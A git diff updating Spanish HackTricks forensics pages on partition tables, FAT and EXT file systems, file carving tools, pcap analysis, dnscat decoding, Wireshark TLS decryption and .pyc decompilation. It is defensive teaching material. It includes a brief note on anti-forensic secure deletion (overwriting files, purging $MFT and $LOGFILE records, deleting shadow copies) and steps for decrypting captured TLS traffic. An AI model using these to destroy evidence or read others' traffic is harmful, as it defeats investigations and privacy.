los datos de arranque a un solo lugar. Replica estos datos en todo el disco, mejorando la integridad y resiliencia de los datos. +- **Verificación de Redundancia Cíclica (CRC)**: GPT emplea CRC para garantizar la integridad de los datos. Monitorea activamente la corrupción de datos y, cuando se detecta, GPT intenta recuperar los datos corruptos desde otra ubicación en el disco. -**MBR protector (LBA0)** +**MBR Protector (LBA0)**: -Para una compatibilidad hacia atrás limitada, el espacio del MBR heredado todavía se reserva en la especificación GPT, pero ahora se utiliza de una **manera que evita que las utilidades de disco basadas en MBR mal reconozcan y posiblemente sobrescriban los discos GPT**. Esto se conoce como un MBR protector. +- GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR heredado pero está diseñada para evitar que las utilidades más antiguas basadas en MBR sobrescriban accidentalmente los discos GPT, protegiendo así la integridad de los datos en los discos formateados con GPT. -![](<../../../.gitbook/assets/image (491).png>) +![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>) -**MBR híbrido (LBA 0 + GPT)** +**MBR Híbrido (LBA 0 + GPT)** -En sistemas operativos que admiten **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede seguir utilizándose para almacenar la primera etapa del código del **cargador de arranque**, pero **modificado** para reconocer **particiones GPT**. El cargador de arranque en el MBR no debe asumir un tamaño de sector de 512 bytes. +[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) + +En sistemas operativos que admiten **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede usarse para almacenar la primera etapa del código del **cargador de arranque**, pero **modificado** para reconocer **particiones GPT**. El cargador de arranque en el MBR no debe asumir un tamaño de sector de 512 bytes. **Encabezado de la tabla de particiones (LBA 1)** +[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) + El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que conforman la tabla de particiones (desplazamientos 80 y 84 en la tabla). | Desplazamiento | Longitud | Contenido | @@ -107,32 +112,32 @@ El encabezado de la tabla de particiones define los bloques utilizables en el di | 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)en máquinas little-endian) | | 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 | | 12 (0x0C) | 4 bytes | Tamaño del encabezado en little-endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta tamaño del encabezado) en little-endian, con este campo en cero durante el cálculo | +| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta tamaño del encabezado) en little-endian, con este campo en cero durante el cálculo | | 20 (0x14) | 4 bytes | Reservado; debe ser cero | | 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) | | 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) | | 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (último LBA de la tabla de particiones primaria + 1) | | 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria − 1) | | 56 (0x38) | 16 bytes | GUID del disco en endian mixto | -| 72 (0x48) | 8 bytes | LBA de inicio de una matriz de entradas de partición (siempre 2 en la copia primaria) | -| 80 (0x50) | 4 bytes | Número de entradas de partición en la matriz | +| 72 (0x48) | 8 bytes | LBA de inicio de una matriz de entradas de partición (siempre 2 en la copia primaria) | +| 80 (0x50) | 4 bytes | Número de entradas de partición en la matriz | | 84 (0x54) | 4 bytes | Tamaño de una sola entrada de partición (generalmente 80h o 128) | | 88 (0x58) | 4 bytes | CRC32 de la matriz de entradas de partición en little-endian | | 92 (0x5C) | \* | Reservado; deben ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector más grandes) | -**Entradas de particiones (LBA 2–33)** +**Entradas de partición (LBA 2–33)** | Formato de entrada de partición GUID | | | -| ----------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | -| Desplazamiento | Longitud | Contenido | +| ------------------------------------ | -------- | ----------------------------------------------------------------------------------------------------------------- | +| Desplazamiento | Longitud | Contenido | | 0 (0x00) | 16 bytes | [GUID del tipo de partición](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (endian mixto) | -| 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) | +| 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) | | 32 (0x20) | 8 bytes | Primer LBA ([little-endian](https://en.wikipedia.org/wiki/Little\_endian)) | -| 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) | +| 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) | | 48 (0x30) | 8 bytes | Banderas de atributo (por ejemplo, el bit 60 denota solo lectura) | -| 56 (0x38) | 72 bytes | Nombre de la partición (36 unidades de código [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE) | +| 56 (0x38) | 72 bytes | Nombre de la partición (36 unidades de código UTF-16LE) | -**Tipos de particiones** +**Tipos de Particiones** ![](<../../../.gitbook/assets/image (492).png>) @@ -140,13 +145,13 @@ Más tipos de particiones en [https://en.wikipedia.org/wiki/GUID\_Partition\_Tab ### Inspección -Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector usando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la siguiente imagen se detectó un **MBR** en el **sector 0** e interpretado: +Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector utilizando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la siguiente imagen se detectó un **MBR** en el **sector 0** e interpretado: ![](<../../../.gitbook/assets/image (494).png>) Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI PART_ en el **sector 1** (que en la imagen anterior está vacío). -## Sistemas de archivos +## Sistemas de Archivos ### Lista de sistemas de archivos de Windows @@ -158,42 +163,28 @@ Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI P ### FAT -El sistema de archivos **FAT (File Allocation Table)** recibe su nombre por su método de organización, la tabla de asignación de archivos, que reside al principio del volumen. Para proteger el volumen, se mantienen **dos copias** de la tabla, en caso de que una se dañe. Además, las tablas de asignación de archivos y la carpeta raíz deben almacenarse en una **ubicación fija** para que los archivos necesarios para iniciar el sistema se puedan ubicar correctamente. +El sistema de archivos **FAT (Tabla de Asignación de Archivos)** está diseñado en torno a su componente central, la tabla de asignación de archivos, ubicada al inicio del volumen. Este sistema protege los datos manteniendo **dos copias** de la tabla, asegurando la integridad de los datos incluso si una se corrompe. La tabla, junto con la carpeta raíz, debe estar en una **ubicación fija**, crucial para el proceso de inicio del sistema. -![](<../../../.gitbook/assets/image (495).png>) +La unidad básica de almacenamiento del sistema de archivos es un **cluster, generalmente de 512B**, que comprende múltiples sectores. FAT ha evolucionado a través de versiones: -La unidad de espacio mínimo utilizada por este sistema de archivos es un **clúster, típicamente de 512B** (que está compuesto por un número de sectores). +- **FAT12**, que admite direcciones de cluster de 12 bits y maneja hasta 4078 clusters (4084 con UNIX). +- **FAT16**, mejorando a direcciones de 16 bits, lo que permite acomodar hasta 65,517 clusters. +- **FAT32**, avanzando aún más con direcciones de 32 bits, permitiendo un impresionante 268,435,456 clusters por volumen. -El anterior **FAT12** tenía direcciones de clúster de **12 bits** con hasta **4078 clústeres**; permitía hasta 4084 clústeres con UNIX. El más eficiente **FAT16** aumentó a direcciones de clúster de **16 bits** permitiendo hasta **65,517 clústeres** por volumen. FAT32 utiliza direcciones de clúster de 32 bits permitiendo hasta **268,435,456 clústeres** por volumen. +Una limitación significativa en todas las versiones de FAT es el **tamaño máximo de archivo de 4GB**, impuesto por el campo de 32 bits utilizado para el almacenamiento del tamaño del archivo. -El **tamaño máximo de archivo permitido por FAT es de 4GB** (menos un byte) porque el sistema de archivos utiliza un campo de 32 bits para almacenar el tamaño del archivo en bytes, y 2^32 bytes = 4 GiB. Esto ocurre para FAT12, FAT16 y FAT32. +Los componentes clave del directorio raíz, especialmente para FAT12 y FAT16, incluyen: -El **directorio raíz** ocupa una **posición específica** tanto para FAT12 como para FAT16 (en FAT32 ocupa una posición como cualquier otra carpeta). Cada entrada de archivo/carpeta contiene esta información: - -* Nombre del archivo/carpeta (máx. 8 caracteres) -* Atributos -* Fecha de creación -* Fecha de modificación -* Fecha de último acceso -* Dirección de la tabla FAT donde comienza el primer clúster del archivo -* Tamaño - -Cuando se "elimina" un archivo utilizando un sistema de archivos FAT, la entrada del directorio permanece casi **inalterada** excepto por el **primer carácter del nombre del archivo** (modificado a 0xE5), preservando la mayor parte del nombre del archivo "eliminado", junto con su sello de tiempo, longitud del archivo y — lo más importante — su ubicación física en el disco. La lista de clústeres de disco ocupados por el archivo, sin embargo, se borrará de la Tabla de Asignación de Archivos, marcando esos sectores como disponibles para ser utilizados por otros archivos creados o modificados posteriormente. En el caso de FAT32, también se borra un campo adicional responsable de los 16 bits superiores del valor del clúster de inicio del archivo. - -### **NTFS** - -{% content-ref url="ntfs.md" %} -[ntfs.md](ntfs.md) -{% endcontent-ref %} +- **Nombre de Archivo/Carpeta** (hasta 8 caracteres) +- **Atributos** +- **Fechas de Creación, Modificación y Último Acceso** +- **Dirección de la Tabla FAT** (indicando el cluster de inicio del archivo) +- **Tamaño del Archivo** ### EXT **Ext2** es el sistema de archivos más común para particiones **sin registro** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **con registro** y se utilizan generalmente para las **otras particiones**. -{% content-ref url="ext.md" %} -[ext.md](ext.md) -{% endcontent-ref %} - ## **Metadatos** Algunos archivos contienen metadatos. Esta información es sobre el contenido del archivo que a veces puede resultar interesante para un analista, ya que dependiendo del tipo de archivo, podría contener información como: @@ -208,11 +199,11 @@ Algunos archivos contienen metadatos. Esta información es sobre el contenido de Puedes utilizar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo. -## **Recuperación de archivos eliminados** +## **Recuperación de Archivos Eliminados** -### Archivos eliminados registrados +### Archivos Eliminados Registrados -Como se vio anteriormente, hay varios lugares donde el archivo aún se guarda después de ser "eliminado". Esto se debe a que generalmente la eliminación de un archivo de un sistema de archivos solo lo marca como eliminado pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados. +Como se vio anteriormente, hay varios lugares donde el archivo aún se guarda después de ser "eliminado". Esto se debe a que generalmente la eliminación de un archivo de un sistema de archivos solo lo marca como eliminado pero los datos no se tocan. Luego, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados. Además, el sistema operativo generalmente guarda mucha información sobre los cambios en el sistema de archivos y las copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o la mayor cantidad de información posible. @@ -220,19 +211,19 @@ Además, el sistema operativo generalmente guarda mucha información sobre los c [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -### **Tallado de archivos** +### **Tallado de Archivos** -El **tallado de archivos** es una técnica que intenta **encontrar archivos en el conjunto de datos**. Hay 3 formas principales en las que funcionan herramientas como esta: **Basadas en encabezados y pies de página de tipos de archivo**, basadas en **estructuras de tipos de archivo** y basadas en el **contenido** en sí. +El **tallado de archivos** es una técnica que intenta **encontrar archivos en el montón de datos**. Hay 3 formas principales en las que funcionan herramientas como esta: **Basadas en encabezados y pies de página de tipos de archivo**, basadas en **estructuras de tipos de archivo** y basadas en el **contenido** en sí. -Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no se almacena en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él. +Cabe destacar que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no se almacena en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él. -Hay varias herramientas que puedes usar para el tallado de archivos indicando los tipos de archivo que deseas buscar. +Hay varias herramientas que puedes utilizar para el tallado de archivos indicando los tipos de archivo que deseas buscar. {% content-ref url="file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -### Tallado de **flujos de datos** +### Tallado de **Flujos de Datos** El Tallado de Flujos de Datos es similar al Tallado de Archivos pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\ Por ejemplo, en lugar de buscar un archivo completo que contenga URL registradas, esta técnica buscará URLs. @@ -241,10 +232,10 @@ Por ejemplo, en lugar de buscar un archivo completo que contenga URL registradas [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -### Eliminación segura +### Eliminación Segura -Obviamente, hay formas de **eliminar de manera "segura" archivos y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las Copias de Seguridad de Volumen**.\ -Puedes notar que incluso realizando esa acción, puede haber **otras partes donde la existencia del archivo aún esté registrada**, y eso es cierto y parte del trabajo profesional forense es encontrarlas. +Obviamente, existen formas de **eliminar archivos de manera "segura" y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las Copias de Seguridad del Volumen**.\ +Puedes notar que incluso al realizar esa acción, puede haber **otras partes donde la existencia del archivo aún esté registrada**, y es parte del trabajo del profesional forense encontrarlas. ## Referencias @@ -261,9 +252,9 @@ Puedes notar que incluso realizando esa acción, puede haber **otras partes dond Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Comparte tus trucos de hacking enviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index f70e1f405..871aaf17c 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -5,7 +5,7 @@ Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. @@ -26,12 +26,12 @@ Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https:/ ## Autopsy -La herramienta más comúnmente utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para admitir imágenes de disco y otros tipos de imágenes, pero no archivos simples. +La herramienta más comúnmente utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgalo, instálalo y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para admitir imágenes de disco y otros tipos de imágenes, pero no archivos simples. ## Binwalk -**Binwalk** es una herramienta para buscar archivos binarios como imágenes y archivos de audio en busca de archivos y datos incrustados.\ -Puede ser instalado con `apt`, sin embargo, la [fuente](https://github.com/ReFirmLabs/binwalk) se puede encontrar en github.\ +**Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk). + **Comandos útiles**: ```bash sudo apt install binwalk #Insllation @@ -49,7 +49,7 @@ foremost -v -i file.img -o output ``` ## **Scalpel** -**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, deberás descomentar del archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas extraer. +**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, deberás descomentar en el archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas extraer. ```bash sudo apt-get install scalpel scalpel file.img -o output @@ -58,12 +58,10 @@ scalpel file.img -o output Esta herramienta viene incluida en Kali pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) -Esta herramienta puede escanear una imagen y **extraer pcaps** en su interior, **información de red (URL, dominios, IPs, MACs, correos electrónicos)** y más **archivos**. Solo tienes que hacer: +Esta herramienta puede escanear una imagen y **extraer pcaps** en su interior, **información de red (URL, dominios, IPs, MAC, correos electrónicos)** y más **archivos**. Solo tienes que hacer: ``` bulk_extractor memory.img -o out_folder ``` -Explora **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**Análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **no existentes**). - ## PhotoRec Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) @@ -74,14 +72,14 @@ Viene con versiones de GUI y CLI. Puedes seleccionar los **tipos de archivos** q ## binvis -Revisa el [código](https://code.google.com/archive/p/binvis/) y la [herramienta de la página web](https://binvis.io/#/). +Verifica el [código](https://code.google.com/archive/p/binvis/) y la [herramienta de la página web](https://binvis.io/#/). ### Características de BinVis -* Visor de **estructuras visual y activo** +* Visualizador de **estructuras** visual y activo * Múltiples gráficos para diferentes puntos de enfoque * Enfoque en porciones de una muestra -* **Ver cadenas y recursos**, en ejecutables PE o ELF por ejemplo +* **Ver cadenas y recursos**, en ejecutables PE o ELF, por ejemplo * Obtener **patrones** para criptoanálisis en archivos * **Detectar** algoritmos de empaquetado o codificación * **Identificar** Esteganografía por patrones @@ -97,7 +95,7 @@ Busca claves AES buscando sus programaciones de claves. Capaz de encontrar clave Descarga [aquí](https://sourceforge.net/projects/findaes/). -# Herramientas Complementarias +# Herramientas complementarias Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\ Puedes usar la herramienta de línea de comandos de Linux **pdftotext** para transformar un PDF en texto y leerlo. @@ -105,7 +103,7 @@ Puedes usar la herramienta de línea de comandos de Linux **pdftotext** para tra
-Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. +Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} diff --git a/forensics/basic-forensic-methodology/pcap-inspection/README.md b/forensics/basic-forensic-methodology/pcap-inspection/README.md index 620365dd0..42c602006 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -46,9 +46,9 @@ Puedes encontrar algunos trucos de Wireshark en: [wireshark-tricks.md](wireshark-tricks.md) {% endcontent-ref %} -### Marco de Xplico +### Marco Xplico -[**Xplico** ](https://github.com/xplico/xplico)_(solo en linux)_ puede **analizar** un **pcap** y extraer información de él. Por ejemplo, de un archivo pcap, Xplico extrae cada correo electrónico (protocolos POP, IMAP y SMTP), todos los contenidos HTTP, cada llamada VoIP (SIP), FTP, TFTP, y más. +[**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ puede **analizar** un **pcap** y extraer información de él. Por ejemplo, de un archivo pcap, Xplico extrae cada correo electrónico (protocolos POP, IMAP y SMTP), todos los contenidos HTTP, cada llamada VoIP (SIP), FTP, TFTP, y más. **Instalación** ```bash @@ -74,9 +74,7 @@ Esta herramienta también es útil para obtener **otra información analizada** ### NetWitness Investigator Puedes descargar [**NetWitness Investigator desde aquí**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funciona en Windows)**.\ -Esta es otra herramienta útil que **analiza los paquetes** y ordena la información de una manera útil para **saber qué está sucediendo por dentro**. - -![](<../../../.gitbook/assets/image (567) (1).png>) +Esta es otra herramienta útil que **analiza los paquetes** y ordena la información de una manera útil para **saber qué está sucediendo internamente**. ### [BruteShark](https://github.com/odedshimon/BruteShark) @@ -142,7 +140,7 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ### Análisis de Malware -Verifique si puede encontrar alguna huella de un malware conocido: +Verifica si puedes encontrar alguna huella de un malware conocido: {% content-ref url="../malware-analysis.md" %} [malware-analysis.md](../malware-analysis.md) @@ -150,9 +148,9 @@ Verifique si puede encontrar alguna huella de un malware conocido: ## Zeek -> Zeek es un analizador de tráfico de red de código abierto y pasivo. Muchos operadores utilizan Zeek como Monitor de Seguridad de Red (NSM) para respaldar investigaciones de actividad sospechosa o maliciosa. Zeek también admite una amplia gama de tareas de análisis de tráfico más allá del dominio de la seguridad, incluida la medición del rendimiento y la resolución de problemas. +> [Zeek](https://docs.zeek.org/en/master/about.html) es un analizador de tráfico de red pasivo y de código abierto. Muchos operadores utilizan Zeek como un Monitor de Seguridad de Red (NSM) para apoyar investigaciones de actividad sospechosa o maliciosa. Zeek también soporta una amplia gama de tareas de análisis de tráfico más allá del dominio de la seguridad, incluyendo medición de rendimiento y resolución de problemas. -Básicamente, los registros creados por `zeek` no son **pcaps**. Por lo tanto, necesitarás usar **otras herramientas** para analizar los registros donde se encuentra la **información** sobre los pcaps. +Básicamente, los registros creados por `zeek` no son **pcaps**. Por lo tanto, necesitarás utilizar **otras herramientas** para analizar los registros donde se encuentra la **información** sobre los pcaps. ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) diff --git a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index 5f3f94f06..c205779f9 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -34,11 +34,11 @@ last = qry #print(f) ``` -Para más información: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +Para obtener más información: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) -Existe un script que funciona con Python3: https://github.com/josemlwdf/DNScat-Decoder +Hay un script que funciona con Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) ``` python3 dnscat_decoder.py sample.pcap bad_domain ``` diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index b7280f83a..a44d5b88f 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -87,7 +87,9 @@ Otros filtros interesantes: Si deseas **buscar** **contenido** dentro de los **paquetes** de las sesiones, presiona _CTRL+f_. Puedes agregar nuevas capas a la barra de información principal (N.º, Hora, Origen, etc.) presionando el botón derecho y luego editar columna. -Práctica: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net) +### Laboratorios pcap gratuitos + +**Practica con los desafíos gratuitos de: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)** ## Identificación de Dominios @@ -103,7 +105,7 @@ Y una columna que agregue el nombre del servidor desde una conexión HTTPS inici ### Desde DHCP -En el Wireshark actual en lugar de `bootp` debes buscar `DHCP` +En el Wireshark actual, en lugar de `bootp`, debes buscar `DHCP` ![](<../../../.gitbook/assets/image (404).png>) @@ -115,7 +117,7 @@ En el Wireshark actual en lugar de `bootp` debes buscar `DHCP` ### Descifrar tráfico https con la clave privada del servidor -_editar>preferencias>protocolo>ssl>_ +_editar>preferencia>protocolo>ssl>_ ![](<../../../.gitbook/assets/image (98).png>) @@ -123,20 +125,21 @@ Presiona _Editar_ y agrega todos los datos del servidor y la clave privada (_IP, ### Descifrar tráfico https con claves de sesión simétricas -Resulta que tanto Firefox como Chrome admiten registrar la clave de sesión simétrica utilizada para cifrar el tráfico TLS en un archivo. Luego puedes apuntar Wireshark a dicho archivo y ¡listo! tráfico TLS descifrado. Más en: [https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)\ +Tanto Firefox como Chrome tienen la capacidad de registrar claves de sesión TLS, que pueden ser utilizadas con Wireshark para descifrar el tráfico TLS. Esto permite un análisis detallado de las comunicaciones seguras. Se puede encontrar más detalles sobre cómo realizar este descifrado en una guía en [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). + Para detectar esto, busca dentro del entorno la variable `SSLKEYLOGFILE` Un archivo de claves compartidas se verá así: ![](<../../../.gitbook/assets/image (99).png>) -Para importar esto en Wireshark ve a \_editar > preferencias > protocolo > ssl > e impórtalo en (Pre)-Master-Secret log filename: +Para importar esto en Wireshark ve a \_editar > preferencia > protocolo > ssl > e impórtalo en (Pre)-Master-Secret log filename: ![](<../../../.gitbook/assets/image (100).png>) ## Comunicación ADB -Extraer un APK de una comunicación ADB donde se envió el APK: +Extrae un APK de una comunicación ADB donde se envió el APK: ```python from scapy.all import * diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index 2de97dfc8..445f3eff3 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -14,7 +14,7 @@ Otras formas de apoyar a HackTricks: - + Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_). @@ -45,9 +45,9 @@ En un **binario exe de Python** compilado puedes **obtener el .pyc** ejecutando: ```bash python pyinstxtractor.py executable.exe ``` -## De .pyc a código Python +## De .pyc a código de Python -Para los datos **.pyc** ("compilados" de Python) debes comenzar intentando **extraer** el **código** **Python** **original**: +Para los datos de **.pyc** ("compilados" de Python) debes comenzar intentando **extraer** el **código de Python** **original**: ```bash uncompyle6 binary.pyc > decompiled.py ``` @@ -68,11 +68,11 @@ Para solucionar esto, necesitas **agregar el número mágico correcto** al princ >> imp.get_magic().hex() '550d0d0a' ``` -El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, entonces, para corregir este error necesitarás **añadir** al **principio** del archivo **.pyc** los siguientes bytes: `0x0d550a0d000000000000000000000000` +El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, entonces, para corregir este error necesitarás **agregar** al **principio** del archivo **.pyc** los siguientes bytes: `0x0d550a0d000000000000000000000000` -**Una vez** que hayas **añadido** ese encabezado mágico, el **error debería estar corregido.** +**Una vez** que hayas **agregado** ese encabezado mágico, el **error debería estar corregido.** -Así es como se verá un **encabezado mágico .pyc de python3.8** correctamente añadido: +Así es como se verá un **encabezado mágico 